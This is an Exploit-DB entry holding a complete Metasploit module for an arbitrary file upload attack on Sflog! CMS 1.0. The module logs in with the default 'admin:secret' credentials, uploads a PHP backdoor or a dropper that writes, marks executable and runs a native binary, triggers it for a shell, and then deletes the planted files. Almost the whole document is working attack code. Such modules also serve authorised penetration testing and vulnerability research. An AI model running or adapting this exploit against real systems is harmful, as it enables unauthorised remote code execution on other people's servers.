Sflog! CMS 1.0 - Arbitrary File Upload (Metasploit)

EDB-ID:

21138

CVE:





Platform:

PHP

Date:

2012-09-08


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
				a default admin credential of "admin:secret", which can be abused to access
				administrative features such as blogs management.  Through the management
				interface, we can upload a backdoor that's accessible by any remote user, and then
				gain arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'dun',    #Discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '83767'],
					['EDB', '19626']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['linux', 'php'],
			'Targets'        =>
				[
				[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
				[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 06 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
				OptString.new('USERNAME',  [true, 'The username to login with', 'admin']),
				OptString.new('PASSWORD',  [true, 'The password to login with', 'secret'])
			], self.class)
	end


	def check
		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		res = send_request_raw({'uri'=>"#{base}/index.php"})

		if not res
			return Exploit::CheckCode::Unknown
		elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	#
	# Embed our binary in PHP, and then extract/execute it on the host.
	#
	def get_write_exec_payload(fname, data)
		p = Rex::Text.encode_base64(generate_payload_exe)
		php = %Q|
		<?php
		$f = fopen("#{fname}", "wb");
		fwrite($f, base64_decode("#{p}"));
		fclose($f);
		exec("chmod 777 #{fname}");
		exec("#{fname}");
		?>
		|
		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
		return php
	end


	def on_new_session(cli)
		if cli.type == "meterpreter"
			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
		end

		@clean_files.each do |f|
			print_status("#{@peer} - Removing: #{f}")
			begin
				if cli.type == 'meterpreter'
					cli.fs.file.rm(f)
				else
					cli.shell_command_token("rm #{f}")
				end
			rescue ::Exception => e
				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
			end
		end
	end


	#
	# login unfortunately is needed, because we need to make sure blogID is set, and the upload
	# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
	# directly.
	#
	def do_login(base)
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{base}/admin/login.php",
			'vars_post' => {
				'userID'   => datastore['USERNAME'],
				'password' => datastore['PASSWORD']
			}
		})

		if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
			return res.headers['Set-Cookie']
		else
			return ''
		end
	end


	#
	# Upload our payload, and then execute it.
	#
	def upload_exec(cookie, base, php_fname, p)
		data = Rex::MIME::Message.new
		data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
		data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
		data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
		data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

		# The app doesn't really like the extra "\r\n", so we need to remove the newline.
		post_data = data.to_s
		post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{base}/admin/manage.php",
			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
			'data'   => post_data,
			'cookie' => cookie,
			'headers' => {
				'Referer' => "http://#{rhost}#{base}/admin/manage.php",
				'Origin'  => "http://#{rhost}"
			}
		})

		if not res
			print_error("#{@peer} - No response from host")
			return
		end

		target_path = "#{base}/blogs/download/uploads/#{php_fname}"
		print_status("#{@peer} - Requesting '#{target_path}'...")
		res = send_request_raw({'uri'=>target_path})
		if res and res.code == 404
			print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
			return
		end

		handler
	end


	def exploit
		@peer = "#{rhost}:#{rport}"

		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
		cookie = do_login(base)

		if cookie.empty?
			print_error("#{@peer} - Unable to login")
			return
		end

		php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
		@clean_files = [php_fname]

		case target['Platform']
		when 'php'
			p = "<?php #{payload.encoded} ?>"
		when 'linux'
			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
			@clean_files << bin_name
			bin = generate_payload_exe
			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
		end

		upload_exec(cookie, base, php_fname, p)
	end
end